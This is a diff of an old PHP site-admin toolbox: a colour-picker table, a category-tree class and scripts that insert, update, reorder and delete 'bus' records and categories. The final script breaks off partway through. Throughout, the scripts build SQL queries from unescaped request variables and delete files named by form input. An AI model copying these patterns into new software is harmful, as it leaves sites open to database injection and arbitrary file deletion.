+<td bgcolor=#9966CC onMouseOver=View('9966CC') onClick=Set('9966CC') height="10px" width="10px"></td>
+<td bgcolor=#9999CC onMouseOver=View('9999CC') onClick=Set('9999CC') height="10px" width="10px"></td>
+<td bgcolor=#99CCCC onMouseOver=View('99CCCC') onClick=Set('99CCCC') height="10px" width="10px"></td>
+<td bgcolor=#99FFCC onMouseOver=View('99FFCC') onClick=Set('99FFCC') height="10px" width="10px"></td>
+<td bgcolor=#CC00CC onMouseOver=View('CC00CC') onClick=Set('CC00CC') height="10px" width="10px"></td>
+<td bgcolor=#CC33CC onMouseOver=View('CC33CC') onClick=Set('CC33CC') height="10px" width="10px"></td>
+<td bgcolor=#CC66CC onMouseOver=View('CC66CC') onClick=Set('CC66CC') height="10px" width="10px"></td>
+<td bgcolor=#CC99CC onMouseOver=View('CC99CC') onClick=Set('CC99CC') height="10px" width="10px"></td>
+<td bgcolor=#CCCCCC onMouseOver=View('CCCCCC') onClick=Set('CCCCCC') height="10px" width="10px"></td>
+<td bgcolor=#CCFFCC onMouseOver=View('CCFFCC') onClick=Set('CCFFCC') height="10px" width="10px"></td>
+<td bgcolor=#FF00CC onMouseOver=View('FF00CC') onClick=Set('FF00CC') height="10px" width="10px"></td>
+<td bgcolor=#FF33CC onMouseOver=View('FF33CC') onClick=Set('FF33CC') height="10px" width="10px"></td>
+<td bgcolor=#FF66CC onMouseOver=View('FF66CC') onClick=Set('FF66CC') height="10px" width="10px"></td>
+<td bgcolor=#FF99CC onMouseOver=View('FF99CC') onClick=Set('FF99CC') height="10px" width="10px"></td>
+<td bgcolor=#FFCCCC onMouseOver=View('FFCCCC') onClick=Set('FFCCCC') height="10px" width="10px"></td>
+<td bgcolor=#FFFFCC onMouseOver=View('FFFFCC') onClick=Set('FFFFCC') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FF00FF onMouseOver=View('FF00FF') onClick=Set('FF00FF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#9900FF onMouseOver=View('9900FF') onClick=Set('9900FF') height="10px" width="10px"></td>
+<td bgcolor=#9933FF onMouseOver=View('9933FF') onClick=Set('9933FF') height="10px" width="10px"></td>
+<td bgcolor=#9966FF onMouseOver=View('9966FF') onClick=Set('9966FF') height="10px" width="10px"></td>
+<td bgcolor=#9999FF onMouseOver=View('9999FF') onClick=Set('9999FF') height="10px" width="10px"></td>
+<td bgcolor=#99CCFF onMouseOver=View('99CCFF') onClick=Set('99CCFF') height="10px" width="10px"></td>
+<td bgcolor=#99FFFF onMouseOver=View('99FFFF') onClick=Set('99FFFF') height="10px" width="10px"></td>
+<td bgcolor=#CC00FF onMouseOver=View('CC00FF') onClick=Set('CC00FF') height="10px" width="10px"></td>
+<td bgcolor=#CC33FF onMouseOver=View('CC33FF') onClick=Set('CC33FF') height="10px" width="10px"></td>
+<td bgcolor=#CC66FF onMouseOver=View('CC66FF') onClick=Set('CC66FF') height="10px" width="10px"></td>
+<td bgcolor=#CC99FF onMouseOver=View('CC99FF') onClick=Set('CC99FF') height="10px" width="10px"></td>
+<td bgcolor=#CCCCFF onMouseOver=View('CCCCFF') onClick=Set('CCCCFF') height="10px" width="10px"></td>
+<td bgcolor=#CCFFFF onMouseOver=View('CCFFFF') onClick=Set('CCFFFF') height="10px" width="10px"></td>
+<td bgcolor=#FF00FF onMouseOver=View('FF00FF') onClick=Set('FF00FF') height="10px" width="10px"></td>
+<td bgcolor=#FF33FF onMouseOver=View('FF33FF') onClick=Set('FF33FF') height="10px" width="10px"></td>
+<td bgcolor=#FF66FF onMouseOver=View('FF66FF') onClick=Set('FF66FF') height="10px" width="10px"></td>
+<td bgcolor=#FF99FF onMouseOver=View('FF99FF') onClick=Set('FF99FF') height="10px" width="10px"></td>
+<td bgcolor=#FFCCFF onMouseOver=View('FFCCFF') onClick=Set('FFCCFF') height="10px" width="10px"></td>
+<td bgcolor=#FFFFFF onMouseOver=View('FFFFFF') onClick=Set('FFFFFF') height="10px" width="10px"></td>
+</tr>
+</table>
+
+</body></html>
--- /dev/null
+<?
+class Thread
+{
+ var $beginLevel = "<ul>";
+ var $beginLevel2 = "<ul>";
+ var $endLevel = "</ul>";
+ var $beginItem = "<li>";
+ var $beginItem2 = "<li>";
+ var $endItem = "</li>";
+ var $wholeThread;
+
+ function Thread($code="")
+ {
+ if(!empty($code))
+ {
+ $this->beginLevel = $code[beginLevel];
+ $this->beginLevel2 = $code[beginLevel2];
+ $this->endLevel = $code[endLevel];
+ $this->beginItem = $code[beginItem];
+ $this->beginItem2 = $code[beginItem2];
+ $this->endItem = $code[endItem];
+ }
+ }
+
+ function sortChilds($threads)
+ { while(list($var, $value) = each($threads))
+ $childs[$value[parent]][$value[ID]] = $value;
+ return $childs;
+ }
+
+ function convertToThread($threads, $thread)
+ {
+ static $count;
+ if( !$count )
+ {
+ $this->wholeThread .= $this->beginLevel2;
+ }
+ else
+ {
+ $this->wholeThread .= $this->beginLevel;
+ }
+ while(list($parent, $value) = each($thread))
+ {
+ if( $threads[$parent] && $value['closed'] )
+ {
+ $this->wholeThread .= $this->beginItem2;
+ $this->wholeThread .= '<a href="list_bus_category.phtml?expand='.$value['ID'].'"
+ title="Expand"><img border="0" src="images/expand.png"></a>';
+ }
+ elseif( $threads[$parent] && !$value['closed'] )
+ {
+ $this->wholeThread .= $this->beginItem2;
+ $this->wholeThread .= '<a href="list_bus_category.phtml?fold='.$value['ID'].'"
+ title="Fold"><img border="0"src="images/collapse.png"></a>';
+ }
+ else
+ {
+ $this->wholeThread .= $this->beginItem;
+ }
+ $count++;
+ $this->wholeThread .= " <a href=\"edit_bus_category.phtml?id=".$value['ID']."\">[Edit]</a> "
+ ."<a href=\"list_bus.phtml?catid=".$value['ID']."\">[Paragraphs]</a> "
+ ."<a target=\"_blank\" href=\"".$value['seo_url']."\">[Preview]</a>"
+ .$value[pos]
+ ."<b>".$value['active'].$value['kiosk'];
+ $this->wholeThread .= $value['content'] . "</b>" . $this->endItem ."\n";
+ if( $threads[$parent] && !$value['closed'] )
+ {
+ $this->convertToThread($threads, $threads[$parent]);
+ }
+ }
+ $this->wholeThread .= $this->endLevel;
+ return $this->wholeThread;
+ }
+}
+?>
--- /dev/null
+<?php
+include_once("../../setup.phtml");
+include_once(BASE.'classes/class_db.inc');
+include_once(BASE."classes/class_toolbox.inc");
+include_once(BASE."classes/class_template.inc");
+$DB =& new GLM_DB();
+$toolbox =& new GLM_TEMPLATE( NULL );
+define("TOOLBOX_FLAGS",1);
+define("LEVELS_DEEP",3);
+/*
+if(!$base_parent)
+ {
+ if($catid)
+ {
+ //$conn = $DB->db_connect(CONN_STR);
+ $base_parent = $toolbox->get_parentid($catid);
+ }
+ else
+ {
+ $base_parent = 0;
+ }
+ }
+ */
+switch($base_parent)
+ {
+ default:
+ $fields[] = array( name => "id", title => "id", type => "hide");
+ $fields[] = array( name => "name", title => "Header", type => "text");
+ //$fields[] = array( name => "address", title => "Address", type => "text");
+ //$fields[] = array( name => "city", title => "City", type => "text");
+ // $fields[] = array( name => "state", title => "State", type => "text");
+ //$fields[] = array( name => "zip", title => "Zip", type => "text");
+ // $fields[] = array( name => "phone", title => "Phone", type => "text");
+ // $fields[] = array( name => "fax", title => "Fax", type => "text");
+ // $fields[] = array( name => "email", title => "Email", type => "text");
+ // $fields[] = array( name => "urlname", title => "URL Name", type => "text");
+ // $fields[] = array( name => "url", title => "URL", type => "text");
+ //$fields[] = array( name => "Images and Descriptions", type => "seperator");
+ $fields[] = array( name => "description", title => "Description", type => "desc");
+ $fields[] = array( name => "imagename", title=> "Image Caption",type => "text");
+ $fields[] = array( name => "image", title => "Image", type => "img");
+ //$fields[] = array( name => "description2", title => "Description 2", type => "desc");
+ //$fields[] = array( name => "image2name", title=> "Image Name 2",type => "text");
+ //$fields[] = array( name => "image2", title => "Image 2", type => "img");
+ //$fields[] = array( name => "description3", title => "Description 3", type => "desc");
+ //$fields[] = array( name => "image3name", title=> "Image Name 3",type => "text");
+ //$fields[] = array( name => "image3", title => "Image 3", type => "img");
+ $fields[] = array( name => "File uploads", type => "seperator");
+ $fields[] = array( name => "filename", title=> "File Name",type => "text");
+ $fields[] = array( name => "file", title => "File 1", type => "file");
+ $fields[] = array( name => "file2name", title=> "File Name 2",type => "text");
+ $fields[] = array( name => "file2", title => "File 2", type => "file");
+ $fields[] = array( name => "file3name", title=> "File Name 3",type => "text");
+ $fields[] = array( name => "file3", title => "File 3", type => "file");
+ break;
+ }
+function check_lock($id)
+{
+ if( isset( $id ) && $id != '' && is_numeric( $id ) )
+ {
+ if( file_exists( BASE.'static/'.$id.'.phtml' ) || $id == HOME_ID )
+ {
+ return( true );
+ }
+ else
+ {
+ return( false );
+ }
+ }
+ else
+ {
+ return( false );
+ }
+
+}
+function sort_by_parent($data)
+ {
+ if(!is_array($data))
+ return(false);
+ foreach($data as $key=>$value)
+ {
+ $data_new[$value["parent"]][$value["id"]] = $value;
+ }
+ return($data_new);
+ }
+
+function convertParent($threads,$thread)
+ {
+ static $select,$count;
+ if(!$count)
+ $count = 0;
+ $bgcolor[] = "#ffffff";
+ $bgcolor[] = "#ffffff";
+ $bgcolor[] = "#03A9BC";
+ $bgcolor[] = "#6FD579";
+ $bgcolor[] = "#E36BCB";
+ $bgcolor[] = "#F92A23";
+ if(is_array($thread))
+ {
+ foreach($thread as $parent=>$value)
+ {
+ $color = $bgcolor[$count];
+ $select[$value["id"]]["color"] = $color;
+ $select[$value["id"]]["category"] = $value["category"];
+ $select[$value["id"]]["count"] = $count;
+
+ if(isset($threads[$parent]))
+ {
+ $count++;
+ convertParent($threads, $threads[$parent]);
+ }
+ }
+ }
+ $count--;
+ return $select;
+ }
+
+/**
+ parent select
+
+ <p>This function does both the bus and bus category page parent select drop down boxes.
+ the backcount var is used to lock the list to a certain level set up with define of LEVELS_DEEP.
+ count varl starts at one and is generated in the function convertParent so we'll need to subtract one for proper results.
+ to unset backcount properly we'll need to check if count goes under or equals that of backcount.
+ then unset($backcount) cause if backcount is not empty then category won't get added to list.
+ </p>
+ */
+function parent_select($catid,$id,$sel_name = "parent")
+ {
+ global $DB;
+ // select catid portion
+ if( $sel_name == "parent" )
+ {
+ $qs = "SELECT id,category,parent
+ FROM bus_category
+ WHERE id != ".HOME_ID."
+ ORDER BY parent,pos";
+ }
+ else
+ {
+ $qs = "SELECT id,category,parent
+ FROM bus_category
+ ORDER BY parent,pos";
+ }
+
+ $data = $DB->db_auto_get_data($qs,CONN_STR);
+ $data1 = sort_by_parent($data);
+ $select = "<select name=\"".$sel_name."\">";
+ if( $sel_name == "parent" )
+ {
+ $select .= "<option value=\"0\">--No Parent--";
+ }
+ $parts = convertParent($data1,$data1[0]);
+ if(is_array($parts))
+ {
+ foreach($parts as $key=>$value)
+ {
+ if( isset( $backcount ) && $value['count'] <= $backcount )
+ {
+ unset($backcount);
+ }
+ if( $key == $id && $sel_name = "parent" )
+ {
+ $backcount = $value['count'];
+ }
+
+ if( ( !isset($backcount) && ( $value['count'] < ( LEVELS_DEEP - 1 ) ) || $sel_name == "catid[]" ) )
+ {
+ $bkg = $value["color"];
+ $indent = (int)$value["count"] * 10;
+ $cc = (int)$value["count"] * 2;
+ $paddman = str_repeat(" ",$cc);
+ $select .= '<option value="'.$key.'"';
+ if($key == $catid)
+ {
+ $select .= ' selected';
+ }
+ $select .= ' style="background-color:'.$bkg.';"';
+ $select .= '>'.$paddman.$value["category"];
+ }
+ }
+ }
+ $select .= "</select>";
+ if(CAT_LOCK && $sel_name == "parent")
+ {
+ if($catid!=0)
+ {
+ $qs = "SELECT category
+ FROM bus_category
+ WHERE id = $catid";
+
+ $res2 = $DB->db_auto_get_data($qs,CONN_STR);
+ $category = $res2['category'];
+ }
+ else
+ {
+ $category = "No Parent";
+ }
+
+ $select = $category."<input type=\"hidden\" name=\"$sel_name\" value=\"$catid\">";
+ }
+ if(($id <= 9 && $catid == 0)&& strstr($_SERVER['PHP_SELF'],"edit_bus_category") && ($catid!='' && $id!=''))
+ {
+ $select = 'No Parent <input type="hidden" name="parent" value="0">';
+ }
+ return($select);
+ }
+if( !CAT_LOCK )
+ {
+ $lnav["Add A New Page"] = "edit_bus_category.phtml";
+ }
+$lnav["List Pages"] = "list_bus_category.phtml";
+?>
--- /dev/null
+<?php
+//$Id: update_bus.phtml,v 1.1.1.1 2006/05/01 16:46:15 cscott Exp $
+include_once("../../setup.phtml");
+include_once("toolbox_setup.inc");
+
+$description = ( trim( strip_tags( $description ) ) != "" ) ? $description :'';
+$description2 = ( trim( strip_tags( $description2 ) ) != "" ) ? $description2 :'';
+$description3 = ( trim( strip_tags( $description3 ) ) != "" ) ? $description3 :'';
+define("TABLE","bus");
+define("ID","id");
+define("SEQUENCE","bus_id_seq");
+
+$LAST = count($fields)-1;
+$location = "../list_bus.phtml?catid=$catid";
+
+http_strip($url);
+
+if( $REQUEST_METHOD == "POST" || $Command == "Move" ) {
+
+ switch($Command) {
+
+ case "Move":
+ $qs = "SELECT pos,id
+ FROM bus_category_bus
+ WHERE id = $id";
+
+ if(!$result = $DB->db_exec($qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $data = $DB->db_fetch_array($result,0,PGSQL_ASSOC);
+ $pos = $data['pos'];
+
+ if($newpos < $pos) {
+ $qs = "SELECT id,pos
+ FROM bus_category_bus
+ WHERE pos < $pos
+ AND pos >= $newpos
+ AND catid = $catid
+ ORDER BY pos";
+ if(!$res = $DB->db_exec($qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $counter = ($newpos + 1);
+ for($i=0;$i<$DB->db_numrows($res);$i++) {
+ $res_data = $DB->db_fetch_array($res,$i,PGSQL_ASSOC);
+ $res_id = $res_data['id'];
+ $res_pos = $res_data['pos'];
+ $qs = "UPDATE bus_category_bus
+ SET pos = $counter
+ WHERE id = $res_id";
+
+ if(!$DB->db_exec($qs)) html_error(DB_ERROR_MSG.$qs,0);
+ $counter++;
+ }
+ }
+ else {
+ $qs = "SELECT pos,id
+ FROM bus_category_bus
+ WHERE pos > $pos
+ AND pos <= $newpos
+ AND catid = $catid
+ ORDER BY pos";
+
+ if(!$res = $DB->db_exec($qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $counter = ($pos);
+ for($i=0;$i<$DB->db_numrows($res);$i++) {
+ $res_data = $DB->db_fetch_array($res,$i,PGSQL_ASSOC);
+ $res_id = $res_data['id'];
+ $res_pos = $res_data['pos'];
+ $qs = "UPDATE bus_category_bus
+ SET pos = $counter
+ WHERE id = $res_id";
+
+ if(!$DB->db_exec($qs)) html_error(DB_ERROR_MSG.$qs,0);
+ $counter++;
+ }
+ }
+ $qs = "UPDATE bus_category_bus
+ SET pos = $newpos
+ WHERE id = $id";
+
+ if(!$DB->db_exec($qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $location = "list_bus.phtml?catid=$catid";
+ break;
+
+ case "Update":
+ $oldcatid = ereg_replace("^:","",$oldcatid);
+ $oldcatid = split(":",$oldcatid);
+
+ if($category)
+ {
+ $category = ereg_replace("^:","",$category);
+ $catid = split(":",$category);
+ }
+ $DB->db_exec("BEGIN WORK");
+
+ $array_counter = 0;
+ if(is_array($catid))
+ {
+
+ $query = "select catid,pos from bus_category_bus where busid = $id";
+ $res = $DB->db_exec($query);
+ $oldpos = pg_result($res,0,'pos');
+ while( $row = pg_fetch_array( $res ) )
+ {
+ // do this only if ald catid is being removed
+ if( !in_array( $row['catid'],$catid ) )
+ {
+ $query = "update bus_category_bus set pos = pos - 1
+ where catid = ".$row['catid']." and pos >= $oldpos";
+ $DB->db_exec($query);
+ $query = "delete from bus_category_bus
+ where catid = ".$row['catid']." and busid = $id";
+ $DB->db_exec($query);
+ }
+
+ }
+
+ foreach($catid as $key=>$value)
+ {
+
+ // do this only if ald catid is being removed
+ if( !in_array( $value,$oldcatid ) )
+ {
+ $qs = "SELECT count(*) as maxpos
+ FROM bus_category_bus
+ WHERE catid = $value";
+
+ if(!$res = $DB->db_exec($qs))
+ html_error(DB_ERROR_MSG.$qs,1);
+
+ $row = $DB->db_fetch_array($res,0,PGSQL_ASSOC);
+ $pos = ( $row['maxpos'] == 0 ) ? (int)0 : (int)$row['maxpos'] ;
+ $pos++;
+
+ $qs = "INSERT
+ INTO bus_category_bus
+ (busid,catid,pos)
+ VALUES ($id,$value,$pos)";
+ if(!$DB->db_exec($qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+ }
+ }
+ }
+ $fields = array_reverse($fields);
+ $qs = "UPDATE ".TABLE." SET ";
+ for($i=0;$i<count($fields);$i++)
+ {
+ if($fields[$i][type]=="date")
+ {
+ $month = $_POST[$fields[$i][name]."_month"];
+ $day = $_POST[$fields[$i][name]."_day"];
+ $year = $_POST[$fields[$i][name]."_year"];
+ if( is_numeric( $month ) && is_numeric( $day ) && is_numeric( $year ) )
+ {
+ $date = "'".date("Y-m-d H:i:s T",mktime(0,0,0,$month,$day,$year))."'";
+ }
+ else
+ {
+ $date = 'NULL';
+ }
+ $qs .= $fields[$i][name]." = $date";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ elseif($fields[$i][type]=="datetime")
+ {
+ $month = $fields[$i][name]."_month";
+ $day = $fields[$i][name]."_day";
+ $year = $fields[$i][name]."_year";
+ $H = $fields[$i][name]."_hour";
+ $mm = $fields[$i][name]."_mm";
+ if($$mm == "PM")
+ $$H = $$H + 12;
+ $m = $fields[$i][name]."_min";
+ $date = date("Y-m-d H:i:s T",mktime($$H,$$m,0,$$month,$$day,$$year));
+ $qs .= $fields[$i][name]." = '$date'";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ elseif($fields[$i][name]!=ID)
+ {
+ if($fields[$i][type]=="img")
+ {
+ $tmpimg = $fields[$i]['name'];
+ $image_tmp = $$tmpimg;
+ $oldy = ${"old".$tmpimg};
+ $image_tmp_name = ${$tmpimg."_name"};
+ if($image_tmp == "none" || $image_tmp == "")
+ {
+ $image_tmp_name = $oldy;
+ }
+ else
+ {
+ $image_tmp_name = process_image($image_tmp,$image_tmp_name);
+ @unlink(ORIGINAL_PATH.$oldy);
+ @unlink(RESIZED_PATH.$oldy);
+ @unlink(THUMB_PATH.$oldy);
+ @unlink(MIDSIZED_PATH.$oldy);
+ }
+ $delete = ${"delete".$tmpimg};
+ if($delete==1)
+ {
+ $image_tmp_name = "";
+ @unlink(ORIGINAL_PATH.$oldy);
+ @unlink(RESIZED_PATH.$oldy);
+ @unlink(THUMB_PATH.$oldy);
+ @unlink(MIDSIZED_PATH.$oldy);
+ }
+ $qs .= $fields[$i][name]." = '".$image_tmp_name."'";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ elseif($fields[$i][type]=="seperator")
+ {
+ //empty
+ }
+ elseif($fields[$i][type]=="file")
+ {
+ $tmpfile = $fields[$i]['name'];
+ $file_tmp = $$tmpfile;
+ $oldy = ${"old".$tmpfile};
+ $file_tmp_name = ${$tmpfile."_name"};
+ if($file_tmp == "none" || $file_tmp == "")
+ {
+ $file_tmp_name = $oldy;
+ }
+ else
+ {
+ $file_tmp_name = file_upload($file_tmp,$file_tmp_name,UP_BASE);
+ }
+
+ $delete = ${"delete".$tmpfile};
+ if($delete==1)
+ {
+ $file_tmp_name = "";
+ @unlink(UP_BASE.$oldy);
+ }
+ $qs .= $fields[$i][name]." = '".$file_tmp_name."'";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ elseif($fields[$i][type]=="static")
+ {
+ }
+ elseif($fields[$i][type]=="password")
+ {
+ if(($password && $password2) && ($password == $password2))
+ {
+ $qs .= $fields[$i][name]." = '".$$fields[$i][name]."'";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ }
+ else
+ {
+ $qs .= $fields[$i][name]." = '".$$fields[$i][name]."'";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ }
+ else
+ {
+ $qs = substr($qs,0,strlen($qs)-1);
+ $qs .= " WHERE ".$fields[$i][name]." = ".$$fields[$i][name];
+ }
+ }
+ $fields = array_reverse($fields);
+//echo $qs;
+//exit;
+ if(!$DB->db_exec($qs))
+ $ERRORS .= pg_errormessage($dbd).$qs;
+ $location = "list_bus.phtml?catid=".$catid[0]."&".SID;
+ $DB->db_exec("COMMIT WORK");
+ break;
+
+ case "Insert":
+ if($category)
+ {
+ $category = ereg_replace("^:","",$category);
+ $catid = split(":",$category);
+ }
+ $tmp = "";
+ $tmp_value = "";
+ for($i=0;$i<count($fields);$i++)
+ {
+ if($fields[$i][name]!=ID)
+ {
+ if($fields[$i][type]!="static" && $fields[$i][type]!="seperator")
+ {
+ $tmp .= $fields[$i][name];
+ $tmp .= ",";
+ }
+ }
+ }
+ for($i=0;$i<count($fields);$i++)
+ {
+ if($fields[$i][type]=="date")
+ {
+ $month = $_POST[$fields[$i][name]."_month"];
+ $day = $_POST[$fields[$i][name]."_day"];
+ $year = $_POST[$fields[$i][name]."_year"];
+ if( is_numeric( $month ) && is_numeric( $day ) && is_numeric( $year ) )
+ {
+ $date = "'".date("Y-m-d H:i:s T",mktime(0,0,0,$month,$day,$year))."'";
+ }
+ else
+ {
+ $date = 'NULL';
+ }
+ $tmp_value .= "$date";
+ $tmp_value .= ",";
+ }
+ elseif($fields[$i][type]=="static")
+ {
+ }
+ elseif($fields[$i][type]=="seperator")
+ {
+ }
+ elseif($fields[$i][type]=="datetime")
+ {
+ $month = $fields[$i][name]."_month";
+ $day = $fields[$i][name]."_day";
+ $year = $fields[$i][name]."_year";
+ $H = $fields[$i][name]."_hour";
+ $mm = $fields[$i][name]."_mm";
+ if($$mm == "PM")
+ $$H = $$H + 12;
+ $m = $fields[$i][name]."_min";
+ $date = date("Y-m-d H:i:s T",mktime($$H,$$m,0,$$month,$$day,$$year));
+ $tmp_value .= "'$date'";
+ $tmp_value .= ",";
+ }
+ elseif($fields[$i][type]=="img")
+ {
+ $tmpimg = $fields[$i]['name'];
+ $image = $$tmpimg;
+ $image_name = ${$tmpimg."_name"};
+ if($image == "none" || $image == "")
+ {
+ $image_name = '';
+ }
+ else
+ {
+ $image_name = process_image($image,$image_name);
+ }
+ $tmp_value .= "'".$image_name."'";
+ $tmp_value .= ",";
+ }
+ elseif($fields[$i][type]=="file")
+ {
+ $tmpfile = $fields[$i]['name'];
+ $file = $$tmpfile;
+ $file_name = ${$tmpfile."_name"};
+ if($file == "none" || $file == "")
+ {
+ $file_name = '';
+ }
+ else
+ {
+ $file_name = file_upload($file,$file_name,UP_BASE);
+ }
+ $tmp_value .= "'".$file_name."'";
+ $tmp_value .= ",";
+ }
+ elseif($fields[$i][name]!=ID)
+ {
+ $tmp_value .= "'".$$fields[$i][name]."'";
+ $tmp_value .= ",";
+ }
+ }
+ // get the lat and lon for bus
+
+ // check for all blanks
+ $tmp_blank = str_replace("'","",$tmp_value);
+ $tmp_blank = str_replace(",","",$tmp_blank);
+ $tmp = substr($tmp,0,strlen($tmp)-1);
+ $tmp_value = substr($tmp_value,0,strlen($tmp_value)-1);
+ if(!$res = $DB->db_exec("BEGIN WORK"))
+ {
+ die( pg_errormessage($dbd).$qs );
+ }
+ if($tmp_blank)
+ {
+ $qs = "INSERT INTO ".TABLE."
+ (".ID.", $tmp )
+ VALUES
+ (nextval('".SEQUENCE."'), $tmp_value) RETURNING id";
+ if(!$res = $DB->db_exec($qs))
+ {
+ die( pg_errormessage($dbd).$qs );
+ }
+/*
+ if(!$oid = pg_GetLastOid($res))
+ {
+ die( pg_errormessage($dbd).$qs );
+ html_error("CANT GET LAST OID",1);
+ }
+
+ $qs = "SELECT id
+ FROM bus
+ WHERE oid = $oid";
+ if(!$res = $DB->db_exec($qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,0);
+ }
+*/
+ $row = $DB->db_fetch_array($res,0,PGSQL_ASSOC);
+ if(is_array($catid))
+ {
+ foreach($catid as $key=>$value)
+ {
+ $qs = "SELECT count(*) as maxpos
+ FROM bus_category_bus
+ WHERE catid = $value";
+
+ if(!$res = $DB->db_exec($qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+
+ $row2 = $DB->db_fetch_array($res,0,PGSQL_ASSOC);
+ if( !$pos = $row2[maxpos])
+ {
+ $pos = 1;
+ }
+ else
+ {
+ $pos++;
+ }
+
+ $qs = "INSERT
+ INTO bus_category_bus
+ (busid,catid,pos)
+ VALUES ($row[id],$value,$pos)";
+
+ if(!$DB->db_exec($qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+ if(!$res = $DB->db_exec("COMMIT WORK"))
+ {
+ die( pg_errormessage($dbd).$qs );
+ }
+ }
+ }
+ else
+ {
+ $qs = "SELECT count(*) as maxpos
+ FROM bus_category_bus
+ WHERE catid = $catid";
+
+ if(!$res = $DB->db_exec($qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+
+ $row2 = $DB->db_fetch_array($res,0,PGSQL_ASSOC);
+ if( !$pos = $row2[maxpos])
+ {
+ $pos = 1;
+ }
+ else
+ {
+ $pos++;
+ }
+ $qs = "INSERT
+ INTO bus_category_bus
+ (busid,catid,pos)
+ VALUES ($row[id],$catid,$pos)";
+
+ if(!$DB->db_exec($qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+ if(!$res = $DB->db_exec("COMMIT WORK"))
+ {
+ die( pg_errormessage($dbd).$qs );
+ }
+ }
+ }
+ $location = "list_bus.phtml?catid=".$catid[0]."&".SID;
+
+ break;
+
+ case "Delete":
+ $oldcatid = ereg_replace("^:","",$oldcatid);
+ $oldcatid = split(":",$oldcatid);
+
+ @unlink(ORIGINAL_PATH."/".$oldimage);
+ @unlink(RESIZED_PATH.$oldimage);
+ @unlink(THUMB_PATH.$oldimage);
+ @unlink(MIDSIZED_PATH.$oldimage);
+
+ @unlink(ORIGINAL_PATH."/".$oldimage2);
+ @unlink(RESIZED_PATH.$oldimage2);
+ @unlink(THUMB_PATH.$oldimage2);
+ @unlink(MIDSIZED_PATH.$oldimage2);
+
+ @unlink(ORIGINAL_PATH."/".$oldimage3);
+ @unlink(RESIZED_PATH.$oldimage3);
+ @unlink(THUMB_PATH.$oldimage3);
+ @unlink(MIDSIZED_PATH.$oldimage3);
+
+ @unlink(UP_BASE.$oldfile);
+ @unlink(UP_BASE.$oldfile2);
+ @unlink(UP_BASE.$oldfile3);
+
+ foreach($oldcatid as $key=>$value)
+ {
+ $qs = "SELECT id,pos
+ FROM bus_category_bus
+ WHERE busid = $id";
+
+ if(!$res = $DB->db_exec($qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+
+ $row = $DB->db_fetch_array($res,0,PGSQL_ASSOC);
+
+ $qs = "SELECT id
+ FROM bus_category_bus
+ WHERE pos > $row[pos]
+ AND catid = $value
+ ORDER BY pos";
+
+ if(!$res2 = $DB->db_exec($qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+
+ $counter = $row[pos];
+ for($i=0;$i<$DB->db_numrows($res2);$i++)
+ {
+ $row2 = $DB->db_fetch_array($res2,$i,PGSQL_ASSOC);
+
+ $qs = "UPDATE bus_category_bus
+ SET pos = $counter
+ WHERE id = $row2[id]";
+
+ if(!$DB->db_exec($qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+ $counter++;
+ }
+ }
+ $qs = "DELETE FROM bus
+ WHERE id = $id";
+ if(!$DB->db_auto_exec($qs))
+ {
+ html_error("failed ->".$qs,1);
+ }
+ $location = "list_bus.phtml?catid=".$oldcatid[0]."&".SID;
+ break;
+
+ case "Cancel":
+ $oldcatid = ereg_replace("^:","",$oldcatid);
+ $oldcatid = split(":",$oldcatid);
+ $catid = ereg_replace("^:","",$oldcatid);
+ $catid = split(":",$oldcatid);
+ $location = "list_bus.phtml?catid=".$oldcatid[0]."&".SID;
+ break;
+
+ default:
+ html_error("incorrect value for Command",1);
+ break;
+
+ }
+
+ header("Location: $location");
+}
+?>
--- /dev/null
+<?php
+//$Id: update_bus_category.phtml,v 1.1.1.1 2006/05/01 16:46:15 cscott Exp $
+include_once("../../setup.phtml");
+include_once("toolbox_setup.inc");
+$description = ( trim( strip_tags( $description ) ) != "" ) ? $description :'';
+if($REQUEST_METHOD == "POST" || $Command == "Move") {
+ switch($Command) {
+
+ case "Move":
+ $qs = "SELECT pos,id
+ FROM bus_category
+ WHERE id = $id";
+
+ if(!$result = $DB->db_exec($qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $data = $DB->db_fetch_array($result,0,PGSQL_ASSOC);
+ $pos = $data['pos'];
+
+ if($newpos < $pos) {
+ $qs = "SELECT id,pos
+ FROM bus_category
+ WHERE pos < $pos
+ AND pos >= $newpos
+ AND parent = $parent
+ ORDER BY pos";
+
+ if(!$res = $DB->db_exec($qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $counter = ($newpos + 1);
+ for($i=0;$i<$DB->db_numrows($res);$i++) {
+ $res_data = $DB->db_fetch_array($res,$i,PGSQL_ASSOC);
+ $res_id = $res_data['id'];
+ $res_pos = $res_data['pos'];
+ $qs = "UPDATE bus_category
+ SET pos = $counter
+ WHERE id = $res_id";
+
+ if(!$DB->db_exec($qs)) html_error(DB_ERROR_MSG.$qs,0);
+ $counter++;
+ }
+ }
+ else {
+ $qs = "SELECT pos,id
+ FROM bus_category
+ WHERE pos > $pos
+ AND pos <= $newpos
+ AND parent = $parent
+ ORDER BY pos";
+
+ if(!$res = $DB->db_exec($qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $counter = ($pos);
